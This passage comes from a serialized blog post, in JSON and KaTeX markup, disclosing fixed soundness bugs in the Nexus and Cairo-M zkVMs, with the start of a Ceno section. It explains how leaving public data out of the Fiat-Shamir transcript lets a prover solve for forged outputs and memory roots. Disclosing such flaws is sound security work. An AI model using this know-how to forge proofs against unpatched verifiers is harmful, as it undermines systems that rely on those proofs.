constraints:",{"type":23,"tag":24,"props":117528,"children":117529},{},[117530],{"type":23,"tag":209,"props":117531,"children":117533},{"className":117532},[4076,4077],[117534],{"type":23,"tag":213,"props":117535,"children":117537},{"className":117536},[4082],[117538],{"type":23,"tag":213,"props":117539,"children":117541},{"className":117540,"ariaHidden":1710},[4087],[117542,117583,117722],{"type":23,"tag":213,"props":117543,"children":117545},{"className":117544},[4092],[117546,117550,117555,117560,117565,117570,117574,117579],{"type":23,"tag":213,"props":117547,"children":117549},{"className":117548,"style":4205},[4097],[],{"type":23,"tag":213,"props":117551,"children":117553},{"className":117552,"style":22169},[4103,21637],[117554],{"type":28,"value":116329},{"type":23,"tag":213,"props":117556,"children":117558},{"className":117557},[21766],[117559],{"type":28,"value":265},{"type":23,"tag":213,"props":117561,"children":117563},{"className":117562},[4103,21637],[117564],{"type":28,"value":19329},{"type":23,"tag":213,"props":117566,"children":117568},{"className":117567},[21788],[117569],{"type":28,"value":2121},{"type":23,"tag":213,"props":117571,"children":117573},{"className":117572,"style":4282},[4184],[],{"type":23,"tag":213,"props":117575,"children":117577},{"className":117576},[4287],[117578],{"type":28,"value":3190},{"type":23,"tag":213,"props":117580,"children":117582},{"className":117581,"style":4282},[4184],[],{"type":23,"tag":213,"props":117584,"children":117586},{"className":117585},[4092],[117587,117591,117648,117652,117709,117713,117718],{"type":23,"tag":213,"props":117588,"children":117590},{"className":117589,"style":115733},[4097],[],{"type":23,"tag":213,"props":117592,"children":117594},{"className":117593},[21673],[117595,117600],{"type":23,"tag":213,"props":117596,"children":117598},{"className":117597,"style":21680},[21673,21678,21679],[117599],{"type":28,"value":108895},{"type":23,"tag":213,"props":117601,"children":117603},{"className":117602},[4120],[117604],{"type":23,"tag":213,"props":117605,"children":117607},{"className":117606},[4125,21691],[117608,117637],{"type":23,"tag":213,"props":117609,"children":117611},{"className":117610},[4130],[117612,117632],{"type":23,"tag":213,"props":117613,"children":117615},{"className":117614,"style":114307},[4135],[117616],{"type":23,"tag":213,"props":117617,"children":117618},{"style":21704},[117619,117623],{"type":23,"tag":213,"props":117620,"children":117622},{"className":117621,"style":4145},[4144],[],{"type":23,"tag":213,"props":117624,"children":117626},{"className":117625},[4150,4151,4152,4153],[117627],{"type":23,"tag":213,"props":117628,"children":117630},{"className":117629},[4103,21637,4153],[117631],{"type":28,"value":3826},{"type":23,"tag":213,"props":117633,"children":117635},{"className":117634},[21794],[117636],{"type":28,"value":21797},{"type":23,"tag":213,"props":117638,"children":117640},{"className":117639},[4130],[117641],{"type":23,"tag":213,"props":117642,"children":117644},{"className":117643,"style":114587},[4135],[117645],{"type":23,"tag":213,"props":117646,"children":117647},{},[],{"type":23,"tag":213,"props":117649,"children":117651},{"className":117650,"style":4223},[4184],[],{"type":23,"tag":213,"props":117653,"children":117655},{"className":117654},[4103],[117656,117661],{"type":23,"tag":213,"props":117657,"children":117659},{"className":117658,"style":115188},[4103,21637],[117660],{"type":28,"value":115191},{"type":23,"tag":213,"props":117662,"children":117664},{"className":117663},[4120],[117665],{"type":23,"tag":213,"props":117666,"children":117668},{"className":117667},[4125,21691],[117669,117698],{"type":23,"tag":213,"props":117670,"children":117672},{"className":117671},[4130],[117673,117693],{"type":23,"tag":213,"props":117674,"children":117676},{"className":117675,"style":93629},[4135],[117677],{"type":23,"tag":213,"props":117678,"children":117679},{"style":115823},[117680,117684],{"type":23,"tag":213,"props":117681,"children":117683},{"className":117682,"style":4145},[4144],[],{"type":23,"tag":213,"props":117685,"children":117687},{"className":117686},[4150,4151,4152,4153],[117688],{"type":23,"tag":213,"props":117689,"children":117691},{"className":117690},[4103,21637,4153],[117692],{"type":28,"value":3826},{"type":23,"tag":213,"props":117694,"children":117696},{"className":117695},[21794],[117697],{"type":28,"value":21797},{"type":23,"tag":213,"props":117699,"children":117701},{"className":117700},[4130],[117702],{"type":23,"tag":213,"props":117703,"children":117705},{"className":117704,"style":93183},[4135],[117706],{"type":23,"tag":213,"props":117707,"children":117708},{},[],{"type":23,"tag":213,"props":117710,"children":117712},{"className":117711,"style":4185},[4184],[],{"type":23,"tag":213,"props":117714,"children":117716},{"className":117715},[4190],[117717],{"type":28,"value":111362},{"type":23,"tag":213,"props":117719,"children":117721},{"className":117720,"style":4185},[4184],[],{"type":23,"tag":213,"props":117723,"children":117725},{"className":117724},[4092],[117726,117730,117792,117797,117802],{"type":23,"tag":213,"props":117727,"children":117729},{"className":117728,"style":4205},[4097],[],{"type":23,"tag":213,"props":117731,"children":117733},{"className":117732},[4103],[117734,117744],{"type":23,"tag":213,"props":117735,"children":117737},{"className":117736},[4103,28],[117738],{"type":23,"tag":213,"props":117739,"children":117741},{"className":117740},[4103],[117742],{"type":28,"value":117743},"constraint",{"type":23,"tag":213,"props":117745,"children":117747},{"className":117746},[4120],[117748],{"type":23,"tag":213,"props":117749,"children":117751},{"className":117750},[4125,21691],[117752,117781],{"type":23,"tag":213,"props":117753,"children":117755},{"className":117754},[4130],[117756,117776],{"type":23,"tag":213,"props":117757,"children":117759},{"className":117758,"style":93629},[4135],[117760],{"type":23,"tag":213,"props":117761,"children":117762},{"style":114230},[117763,117767],{"type":23,"tag":213,"props":117764,"children":117766},{"className":117765,"style":4145},[4144],[],{"type":23,"tag":213,"props":117768,"children":117770},{"className":117769},[4150,4151,4152,4153],[117771],{"type":23,"tag":213,"props":117772,"children":117774},{"className":117773},[4103,21637,4153],[117775],{"type":28,"value":3826},{"type":23,"tag":213,"props":117777,"children":117779},{"className":117778},[21794],[117780],{"type":28,"value":21797},{"type":23,"tag":213,"props":117782,"children":117784},{"className":117783},[4130],[117785],{"type":23,"tag":213,"props":117786,"children":117788},{"className":117787,"style":93183},[4135],[117789],{"type":23,"tag":213,"props":117790,"children":117791},{},[],{"type":23,"tag":213,"props":117793,"children":117795},{"className":117794},[21766],[117796],{"type":28,"value":265},{"type":23,"tag":213,"props":117798,"children":117800},{"className":117799},[4103,21637],[117801],{"type":28,"value":19329},{"type":23,"tag":213,"props":117803,"children":117805},{"className":117804},[21788],[117806],{"type":28,"value":2121},{"type":23,"tag":24,"props":117808,"children":117809},{},[117810,117812,117817,117819,117824],{"type":28,"value":117811},"Since each constraint is linear in its ",{"type":23,"tag":209,"props":117813,"children":117815},{"className":117814},[],[117816],{"type":28,"value":114964},{"type":28,"value":117818},", the overall composition polynomial is linear in all ",{"type":23,"tag":209,"props":117820,"children":117822},{"className":117821},[],[117823],{"type":28,"value":114964},{"type":28,"value":117825}," values.",{"type":23,"tag":24,"props":117827,"children":117828},{},[117829,117831],{"type":28,"value":117830},"The verifier checks ",{"type":23,"tag":209,"props":117832,"children":117834},{"className":117833},[4076,4077],[117835],{"type":23,"tag":213,"props":117836,"children":117838},{"className":117837},[4082],[117839],{"type":23,"tag":213,"props":117840,"children":117842},{"className":117841,"ariaHidden":1710},[4087],[117843,117904],{"type":23,"tag":213,"props":117844,"children":117846},{"className":117845},[4092],[117847,117851,117856,117861,117871,117876,117886,117891,117895,117900],{"type":23,"tag":213,"props":117848,"children":117850},{"className":117849,"style":93042},[4097],[],{"type":23,"tag":213,"props":117852,"children":117854},{"className":117853,"style":22169},[4103,21637],[117855],{"type":28,"value":116329},{"type":23,"tag":213,"props":117857,"children":117859},{"className":117858},[21766],[117860],{"type":28,"value":265},{"type":23,"tag":213,"props":117862,"children":117864},{"className":117863},[4103,28],[117865],{"type":23,"tag":213,"props":117866,"children":117868},{"className":117867},[4103],[117869],{"type":28,"value":117870},"oods",{"type":23,"tag":213,"props":117872,"children":117874},{"className":117873,"style":93100},[4103],[117875],{"type":28,"value":3181},{"type":23,"tag":213,"props":117877,"children":117879},{"className":117878},[4103,28],[117880],{"type":23,"tag":213,"props":117881,"children":117883},{"className":117882},[4103],[117884],{"type":28,"value":117885},"point",{"type":23,"tag":213,"props":117887,"children":117889},{"className":117888},[21788],[117890],{"type":28,"value":2121},{"type":23,"tag":213,"props":117892,"children":117894},{"className":117893,"style":4282},[4184],[],{"type":23,"tag":213,"props":117896,"children":117898},{"className":117897},[4287],[117899],{"type":28,"value":3190},{"type":23,"tag":213,"props":117901,"children":117903},{"className":117902,"style":4282},[4184],[],{"type":23,"tag":213,"props":117905,"children":117907},{"className":117906},[4092],[117908,117912],{"type":23,"tag":213,"props":117909,"children":117911},{"className":117910,"style":115155},[4097],[],{"type":23,"tag":213,"props":117913,"children":117915},{"className":117914},[4103,28],[117916],{"type":23,"tag":213,"props":117917,"children":117919},{"className":117918},[4103],[117920],{"type":28,"value":116654},{"type":23,"tag":24,"props":117922,"children":117923},{},[117924,117926,117931,117933,117938],{"type":28,"value":117925},"With ",{"type":23,"tag":209,"props":117927,"children":117929},{"className":117928},[],[117930],{"type":28,"value":114964},{"type":28,"value":117932}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":209,"props":117934,"children":117936},{"className":117935},[],[117937],{"type":28,"value":114964},{"type":28,"value":117939}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":117941,"children":117942},{},[117943,117947,117949],{"type":23,"tag":95,"props":117944,"children":117945},{},[117946],{"type":28,"value":116810},{"type":28,"value":117948}," Fixed on October 24, 2025 via ",{"type":23,"tag":36,"props":117950,"children":117953},{"href":117951,"rel":117952},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[40],[117954],{"type":28,"value":117955},"PR #503",{"type":23,"tag":18845,"props":117957,"children":117958},{},[],{"type":23,"tag":9693,"props":117960,"children":117962},{"id":117961},"cairo-m-kakarot-labs",[117963],{"type":28,"value":117964},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":117966,"children":117967},{},[117968],{"type":28,"value":117969},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":117971,"children":117972},{},[117973],{"type":28,"value":117974},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":117976,"children":117977},{},[117978],{"type":23,"tag":95,"props":117979,"children":117980},{},[117981],{"type":28,"value":115516},{"type":23,"tag":202,"props":117983,"children":117985},{"code":117984},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[117986],{"type":23,"tag":209,"props":117987,"children":117988},{"__ignoreMap":7},[117989],{"type":28,"value":117984},{"type":23,"tag":24,"props":117991,"children":117992},{},[117993],{"type":23,"tag":95,"props":117994,"children":117995},{},[117996],{"type":28,"value":115532},{"type":23,"tag":24,"props":117998,"children":117999},{},[118000],{"type":23,"tag":4009,"props":118001,"children":118004},{"alt":118002,"src":118003},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":118006,"children":118007},{},[118008,118010,118016],{"type":28,"value":118009},"Lookup challenges are derived without ",{"type":23,"tag":209,"props":118011,"children":118013},{"className":118012},[],[118014],{"type":28,"value":118015},"public_data",{"type":28,"value":118017}," being mixed into the transcript.",{"type":23,"tag":24,"props":118019,"children":118020},{},[118021,118022,118027,118029,118034],{"type":28,"value":2623},{"type":23,"tag":209,"props":118023,"children":118025},{"className":118024},[],[118026],{"type":28,"value":118015},{"type":28,"value":118028}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":87,"props":118030,"children":118031},{},[118032],{"type":28,"value":118033},"denominators",{"type":28,"value":118035}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":118037,"children":118038},{},[118039],{"type":23,"tag":209,"props":118040,"children":118042},{"className":118041},[4076,4077],[118043],{"type":23,"tag":213,"props":118044,"children":118046},{"className":118045},[4082],[118047],{"type":23,"tag":213,"props":118048,"children":118050},{"className":118049,"ariaHidden":1710},[4087],[118051,118111,118157,118203],{"type":23,"tag":213,"props":118052,"children":118054},{"className":118053},[4092],[118055,118059,118065,118070,118079,118084,118093,118098,118102,118107],{"type":23,"tag":213,"props":118056,"children":118058},{"className":118057,"style":93042},[4097],[],{"type":23,"tag":213,"props":118060,"children":118062},{"className":118061},[4103,21637],[118063],{"type":28,"value":118064},"L",{"type":23,"tag":213,"props":118066,"children":118068},{"className":118067},[21766],[118069],{"type":28,"value":265},{"type":23,"tag":213,"props":118071,"children":118073},{"className":118072},[4103,28],[118074],{"type":23,"tag":213,"props":118075,"children":118077},{"className":118076},[4103],[118078],{"type":28,"value":61729},{"type":23,"tag":213,"props":118080,"children":118082},{"className":118081,"style":93100},[4103],[118083],{"type":28,"value":3181},{"type":23,"tag":213,"props":118085,"children":118087},{"className":118086},[4103,28],[118088],{"type":23,"tag":213,"props":118089,"children":118091},{"className":118090},[4103],[118092],{"type":28,"value":3791},{"type":23,"tag":213,"props":118094,"children":118096},{"className":118095},[21788],[118097],{"type":28,"value":2121},{"type":23,"tag":213,"props":118099,"children":118101},{"className":118100,"style":4185},[4184],[],{"type":23,"tag":213,"props":118103,"children":118105},{"className":118104},[4190],[118106],{"type":28,"value":2703},{"type":23,"tag":213,"props":118108,"children":118110},{"className":118109,"style":4185},[4184],[],{"type":23,"tag":213,"props":118112,"children":118114},{"className":118113},[4092],[118115,118119,118129,118134,118144,118148,118153],{"type":23,"tag":213,"props":118116,"children":118118},{"className":118117,"style":93042},[4097],[],{"type":23,"tag":213,"props":118120,"children":118122},{"className":118121},[4103,28],[118123],{"type":23,"tag":213,"props":118124,"children":118126},{"className":118125},[4103],[118127],{"type":28,"value":118128},"(other transcript",{"type":23,"tag":213,"props":118130,"children":118132},{"className":118131,"style":93100},[4103],[118133],{"type":28,"value":3181},{"type":23,"tag":213,"props":118135,"children":118137},{"className":118136},[4103,28],[118138],{"type":23,"tag":213,"props":118139,"children":118141},{"className":118140},[4103],[118142],{"type":28,"value":118143},"bound terms)",{"type":23,"tag":213,"props":118145,"children":118147},{"className":118146,"style":4282},[4184],[],{"type":23,"tag":213,"props":118149,"children":118151},{"className":118150},[4287],[118152],{"type":28,"value":3190},{"type":23,"tag":213,"props":118154,"children":118156},{"className":118155,"style":4282},[4184],[],{"type":23,"tag":213,"props":118158,"children":118160},{"className":118159},[4092],[118161,118166,118171,118176,118181,118185,118190,118194,118199],{"type":23,"tag":213,"props":118162,"children":118165},{"className":118163,"style":118164},[4097],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":118167,"children":118169},{"className":118168},[4103],[118170],{"type":28,"value":4116},{"type":23,"tag":213,"props":118172,"children":118174},{"className":118173},[4216],[118175],{"type":28,"value":4219},{"type":23,"tag":213,"props":118177,"children":118180},{"className":118178,"style":118179},[4184],"margin-right:2em;",[],{"type":23,"tag":213,"props":118182,"children":118184},{"className":118183,"style":4223},[4184],[],{"type":23,"tag":213,"props":118186,"children":118188},{"className":118187},[4103,21637],[118189],{"type":28,"value":118064},{"type":23,"tag":213,"props":118191,"children":118193},{"className":118192,"style":4282},[4184],[],{"type":23,"tag":213,"props":118195,"children":118197},{"className":118196},[4287],[118198],{"type":28,"value":3190},{"type":23,"tag":213,"props":118200,"children":118202},{"className":118201,"style":4282},[4184],[],{"type":23,"tag":213,"props":118204,"children":118206},{"className":118205},[4092],[118207,118212,118269,118273,118491],{"type":23,"tag":213,"props":118208,"children":118211},{"className":118209,"style":118210},[4097],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":213,"props":118213,"children":118215},{"className":118214},[21673],[118216,118221],{"type":23,"tag":213,"props":118217,"children":118219},{"className":118218,"style":21680},[21673,21678,21679],[118220],{"type":28,"value":108895},{"type":23,"tag":213,"props":118222,"children":118224},{"className":118223},[4120],[118225],{"type":23,"tag":213,"props":118226,"children":118228},{"className":118227},[4125,21691],[118229,118258],{"type":23,"tag":213,"props":118230,"children":118232},{"className":118231},[4130],[118233,118253],{"type":23,"tag":213,"props":118234,"children":118236},{"className":118235,"style":114307},[4135],[118237],{"type":23,"tag":213,"props":118238,"children":118239},{"style":21704},[118240,118244],{"type":23,"tag":213,"props":118241,"children":118243},{"className":118242,"style":4145},[4144],[],{"type":23,"tag":213,"props":118245,"children":118247},{"className":118246},[4150,4151,4152,4153],[118248],{"type":23,"tag":213,"props":118249,"children":118251},{"className":118250},[4103,21637,4153],[118252],{"type":28,"value":3826},{"type":23,"tag":213,"props":118254,"children":118256},{"className":118255},[21794],[118257],{"type":28,"value":21797},{"type":23,"tag":213,"props":118259,"children":118261},{"className":118260},[4130],[118262],{"type":23,"tag":213,"props":118263,"children":118265},{"className":118264,"style":114587},[4135],[118266],{"type":23,"tag":213,"props":118267,"children":118268},{},[],{"type":23,"tag":213,"props":118270,"children":118272},{"className":118271,"style":4223},[4184],[],{"type":23,"tag":213,"props":118274,"children":118276},{"className":118275},[4103],[118277,118281,118487],{"type":23,"tag":213,"props":118278,"children":118280},{"className":118279},[21766,113618],[],{"type":23,"tag":213,"props":118282,"children":118284},{"className":118283},[113623],[118285],{"type":23,"tag":213,"props":118286,"children":118288},{"className":118287},[4125,21691],[118289,118475],{"type":23,"tag":213,"props":118290,"children":118292},{"className":118291},[4130],[118293,118470],{"type":23,"tag":213,"props":118294,"children":118296},{"className":118295,"style":113636},[4135],[118297,118439,118450],{"type":23,"tag":213,"props":118298,"children":118299},{"style":113640},[118300,118304],{"type":23,"tag":213,"props":118301,"children":118303},{"className":118302,"style":112271},[4144],[],{"type":23,"tag":213,"props":118305,"children":118307},{"className":118306},[4150,4151,4152,4153],[118308],{"type":23,"tag":213,"props":118309,"children":118311},{"className":118310},[4103,4153],[118312,118317,118322,118328,118333,118338,118395,118400,118409,118414,118423,118429,118434],{"type":23,"tag":213,"props":118313,"children":118315},{"className":118314,"style":113657},[4103,21637,4153],[118316],{"type":28,"value":113660},{"type":23,"tag":213,"props":118318,"children":118320},{"className":118319},[4190,4153],[118321],{"type":28,"value":2703},{"type":23,"tag":213,"props":118323,"children":118325},{"className":118324},[21766,4153],[118326],{"type":28,"value":118327},"⟨",{"type":23,"tag":213,"props":118329,"children":118331},{"className":118330,"style":115188},[4103,21637,4153],[118332],{"type":28,"value":115191},{"type":23,"tag":213,"props":118334,"children":118336},{"className":118335},[4216,4153],[118337],{"type":28,"value":4219},{"type":23,"tag":213,"props":118339,"children":118341},{"className":118340},[4103,4153],[118342,118347],{"type":23,"tag":213,"props":118343,"children":118345},{"className":118344},[4103,21637,4153],[118346],{"type":28,"value":21779},{"type":23,"tag":213,"props":118348,"children":118350},{"className":118349},[4120],[118351],{"type":23,"tag":213,"props":118352,"children":118354},{"className":118353},[4125,21691],[118355,118384],{"type":23,"tag":213,"props":118356,"children":118358},{"className":118357},[4130],[118359,118379],{"type":23,"tag":213,"props":118360,"children":118362},{"className":118361,"style":114424},[4135],[118363],{"type":23,"tag":213,"props":118364,"children":118365},{"style":108955},[118366,118370],{"type":23,"tag":213,"props":118367,"children":118369},{"className":118368,"style":108960},[4144],[],{"type":23,"tag":213,"props":118371,"children":118373},{"className":118372},[4150,108965,108966,4153],[118374],{"type":23,"tag":213,"props":118375,"children":118377},{"className":118376},[4103,21637,4153],[118378],{"type":28,"value":3826},{"type":23,"tag":213,"props":118380,"children":118382},{"className":118381},[21794],[118383],{"type":28,"value":21797},{"type":23,"tag":213,"props":118385,"children":118387},{"className":118386},[4130],[118388],{"type":23,"tag":213,"props":118389,"children":118391},{"className":118390,"style":108985},[4135],[118392],{"type":23,"tag":213,"props":118393,"children":118394},{},[],{"type":23,"tag":213,"props":118396,"children":118398},{"className":118397},[21766,4153],[118399],{"type":28,"value":265},{"type":23,"tag":213,"props":118401,"children":118403},{"className":118402},[4103,28,4153],[118404],{"type":23,"tag":213,"props":118405,"children":118407},{"className":118406},[4103,4153],[118408],{"type":28,"value":61729},{"type":23,"tag":213,"props":118410,"children":118412},{"className":118411,"style":93100},[4103,4153],[118413],{"type":28,"value":3181},{"type":23,"tag":213,"props":118415,"children":118417},{"className":118416},[4103,28,4153],[118418],{"type":23,"tag":213,"props":118419,"children":118421},{"className":118420},[4103,4153],[118422],{"type":28,"value":3791},{"type":23,"tag":213,"props":118424,"children":118426},{"className":118425},[21788,4153],[118427],{"type":28,"value":118428},")⟩",{"type":23,"tag":213,"props":118430,"children":118432},{"className":118431},[4190,4153],[118433],{"type":28,"value":2703},{"type":23,"tag":213,"props":118435,"children":118437},{"className":118436,"style":115243},[4103,21637,4153],[118438],{"type":28,"value":115246},{"type":23,"tag":213,"props":118440,"children":118441},{"style":113673},[118442,118446],{"type":23,"tag":213,"props":118443,"children":118445},{"className":118444,"style":112271},[4144],[],{"type":23,"tag":213,"props":118447,"children":118449},{"className":118448,"style":113683},[113682],[],{"type":23,"tag":213,"props":118451,"children":118452},{"style":113687},[118453,118457],{"type":23,"tag":213,"props":118454,"children":118456},{"className":118455,"style":112271},[4144],[],{"type":23,"tag":213,"props":118458,"children":118460},{"className":118459},[4150,4151,4152,4153],[118461],{"type":23,"tag":213,"props":118462,"children":118464},{"className":118463},[4103,4153],[118465],{"type":23,"tag":213,"props":118466,"children":118468},{"className":118467},[4103,4153],[118469],{"type":28,"value":4106},{"type":23,"tag":213,"props":118471,"children":118473},{"className":118472},[21794],[118474],{"type":28,"value":21797},{"type":23,"tag":213,"props":118476,"children":118478},{"className":118477},[4130],[118479],{"type":23,"tag":213,"props":118480,"children":118483},{"className":118481,"style":118482},[4135],"height:0.562em;",[118484],{"type":23,"tag":213,"props":118485,"children":118486},{},[],{"type":23,"tag":213,"props":118488,"children":118490},{"className":118489},[21788,113618],[],{"type":23,"tag":213,"props":118492,"children":118494},{"className":118493},[4103],[118495],{"type":28,"value":124},{"type":23,"tag":24,"props":118497,"children":118498},{},[118499,118501],{"type":28,"value":118500},"The global check is then that ",{"type":23,"tag":209,"props":118502,"children":118504},{"className":118503},[4076,4077],[118505],{"type":23,"tag":213,"props":118506,"children":118508},{"className":118507},[4082],[118509],{"type":23,"tag":213,"props":118510,"children":118512},{"className":118511,"ariaHidden":1710},[4087],[118513,118554,118585],{"type":23,"tag":213,"props":118514,"children":118516},{"className":118515},[4092],[118517,118521,118526,118531,118536,118541,118545,118550],{"type":23,"tag":213,"props":118518,"children":118520},{"className":118519,"style":4205},[4097],[],{"type":23,"tag":213,"props":118522,"children":118524},{"className":118523},[4103,21637],[118525],{"type":28,"value":118064},{"type":23,"tag":213,"props":118527,"children":118529},{"className":118528},[21766],[118530],{"type":28,"value":265},{"type":23,"tag":213,"props":118532,"children":118534},{"className":118533},[4103,21637],[118535],{"type":28,"value":24},{"type":23,"tag":213,"props":118537,"children":118539},{"className":118538},[21788],[118540],{"type":28,"value":2121},{"type":23,"tag":213,"props":118542,"children":118544},{"className":118543,"style":4185},[4184],[],{"type":23,"tag":213,"props":118546,"children":118548},{"className":118547},[4190],[118549],{"type":28,"value":2703},{"type":23,"tag":213,"props":118551,"children":118553},{"className":118552,"style":4185},[4184],[],{"type":23,"tag":213,"props":118555,"children":118557},{"className":118556},[4092],[118558,118562,118572,118576,118581],{"type":23,"tag":213,"props":118559,"children":118561},{"className":118560,"style":4205},[4097],[],{"type":23,"tag":213,"props":118563,"children":118565},{"className":118564},[4103,28],[118566],{"type":23,"tag":213,"props":118567,"children":118569},{"className":118568},[4103],[118570],{"type":28,"value":118571},"(other terms)",{"type":23,"tag":213,"props":118573,"children":118575},{"className":118574,"style":4282},[4184],[],{"type":23,"tag":213,"props":118577,"children":118579},{"className":118578},[4287],[118580],{"type":28,"value":3190},{"type":23,"tag":213,"props":118582,"children":118584},{"className":118583,"style":4282},[4184],[],{"type":23,"tag":213,"props":118586,"children":118588},{"className":118587},[4092],[118589,118593],{"type":23,"tag":213,"props":118590,"children":118592},{"className":118591,"style":94131},[4097],[],{"type":23,"tag":213,"props":118594,"children":118596},{"className":118595},[4103],[118597],{"type":28,"value":4116},{"type":23,"tag":24,"props":118599,"children":118600},{},[118601],{"type":28,"value":118602},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":118604,"children":118605},{},[118606],{"type":28,"value":118607},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":118609,"children":118610},{},[118611,118615,118617],{"type":23,"tag":95,"props":118612,"children":118613},{},[118614],{"type":28,"value":116810},{"type":28,"value":118616}," Fixed on October 31, 2025 via ",{"type":23,"tag":36,"props":118618,"children":118621},{"href":118619,"rel":118620},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[40],[118622],{"type":28,"value":118623},"commit 92b6740",{"type":23,"tag":18845,"props":118625,"children":118626},{},[],{"type":23,"tag":9693,"props":118628,"children":118630},{"id":118629},"ceno-scroll",[118631],{"type":28,"value":118632},"Ceno (Scroll)",{"type":23,"tag":24,"props":118634,"children":118635},{},[118636],{"type":28,"value":118637},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":118639,"children":118640},{},[118641,118643,118648],{"type":28,"value":118642},"Ceno splits verification into ",{"type":23,"tag":95,"props":118644,"children":118645},{},[118646],{"type":28,"value":118647},"chips",{"type":28,"value":118649},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":118651,"children":118652},{},[118653,118655,118660],{"type":28,"value":118654},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":95,"props":118656,"children":118657},{},[118658],{"type":28,"value":118659},"tower sumcheck",{"type":28,"value":124},{"type":23,"tag":24,"props":118662,"children":118663},{},[118664],{"type":28,"value":118665},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":118667,"children":118668},{},[118669],{"type":23,"tag":209,"props":118670,"children":118672},{"className":118671},[4076,4077],[118673],{"type":23,"tag":213,"props":118674,"children":118676},{"className":118675},[4082],[118677],{"type":23,"tag":213,"props":118678,"children":118680},{"className":118679,"ariaHidden":1710},[4087],[118681,118855,119028],{"type":23,"tag":213,"props":118682,"children":118684},{"className":118683},[4092],[118685,118689,118747,118751,118760,118765,118775,118780,118842,118846,118851],{"type":23,"tag":213,"props":118686,"children":118688},{"className":118687,"style":93042},[4097],[],{"type":23,"tag":213,"props":118690,"children":118692},{"className":118691},[21673],[118693,118699],{"type":23,"tag":213,"props":118694,"children":118696},{"className":118695,"style":21680},[21673,21678,21679],[118697],{"type":28,"value":118698},"∏",{"type":23,"tag":213,"props":118700,"children":118702},{"className":118701},[4120],[118703],{"type":23,"tag":213,"props":118704,"children":118706},{"className":118705},[4125,21691],[118707,118736],{"type":23,"tag":213,"props":118708,"children":118710},{"className":118709},[4130],[118711,118731],{"type":23,"tag":213,"props":118712,"children":118714},{"className":118713,"style":114307},[4135],[118715],{"type":23,"tag":213,"props":118716,"children":118717},{"style":21704},[118718,118722],{"type":23,"tag":213,"props":118719,"children":118721},{"className":118720,"style":4145},[4144],[],{"type":23,"tag":213,"props":118723,"children":118725},{"className":118724},[4150,4151,4152,4153],[118726],{"type":23,"tag":213,"props":118727,"children":118729},{"className":118728},[4103,21637,4153],[118730],{"type":28,"value":3826},{"type":23,"tag":213,"props":118732,"children":118734},{"className":118733},[21794],[118735],{"type":28,"value":21797},{"type":23,"tag":213,"props":118737,"children":118739},{"className":118738},[4130],[118740],{"type":23,"tag":213,"props":118741,"children":118743},{"className":118742,"style":114587},[4135],[118744],{"type":23,"tag":213,"props":118745,"children":118746},{},[],{"type":23,"tag":213,"props":118748,"children":118750},{"className":118749,"style":4223},[4184],[],{"type":23,"tag":213,"props":118752,"children":118754},{"className":118753},[4103,28],[118755],{"type":23,"tag":213,"props":118756,"children":118758},{"className":118757},[4103],[118759],{"type":28,"value":93919},{"type":23,"tag":213,"props":118761,"children":118763},{"className":118762,"style":93100},[4103],[118764],{"type":28,"value":3181},{"type":23,"tag":213,"props":118766,"children":118768},{"className":118767},[4103,28],[118769],{"type":23,"tag":213,"props":118770,"children":118772},{"className":118771},[4103],[118773],{"type":28,"value":118774},"out",{"type":23,"tag":213,"props":118776,"children":118778},{"className":118777,"style":93100},[4103],[118779],{"type":28,"value":3181},{"type":23,"tag":213,"props":118781,"children":118783},{"className":118782},[4103],[118784,118794],{"type":23,"tag":213,"props":118785,"children":118787},{"className":118786},[4103,28],[118788],{"type":23,"tag":213,"props":118789,"children":118791},{"className":118790},[4103],[118792],{"type":28,"value":118793},"evals",{"type":23,"tag":213,"props":118795,"children":118797},{"className":118796},[4120],[118798],{"type":23,"tag":213,"props":118799,"children":118801},{"className":118800},[4125,21691],[118802,118831],{"type":23,"tag":213,"props":118803,"children":118805},{"className":118804},[4130],[118806,118826],{"type":23,"tag":213,"props":118807,"children":118809},{"className":118808,"style":93629},[4135],[118810],{"type":23,"tag":213,"props":118811,"children":118812},{"style":114230},[118813,118817],{"type":23,"tag":213,"props":118814,"children":118816},{"className":118815,"style":4145},[4144],[],{"type":23,"tag":213,"props":118818,"children":118820},{"className":118819},[4150,4151,4152,4153],[118821],{"type":23,"tag":213,"props":118822,"children":118824},{"className":118823},[4103,21637,4153],[118825],{"type":28,"value":3826},{"type":23,"tag":213,"props":118827,"children":118829},{"className":118828},[21794],[118830],{"type":28,"value":21797},{"type":23,"tag":213,"props":118832,"children":118834},{"className":118833},[4130],[118835],{"type":23,"tag":213,"props":118836,"children":118838},{"className":118837,"style":93183},[4135],[118839],{"type":23,"tag":213,"props":118840,"children":118841},{},[],{"type":23,"tag":213,"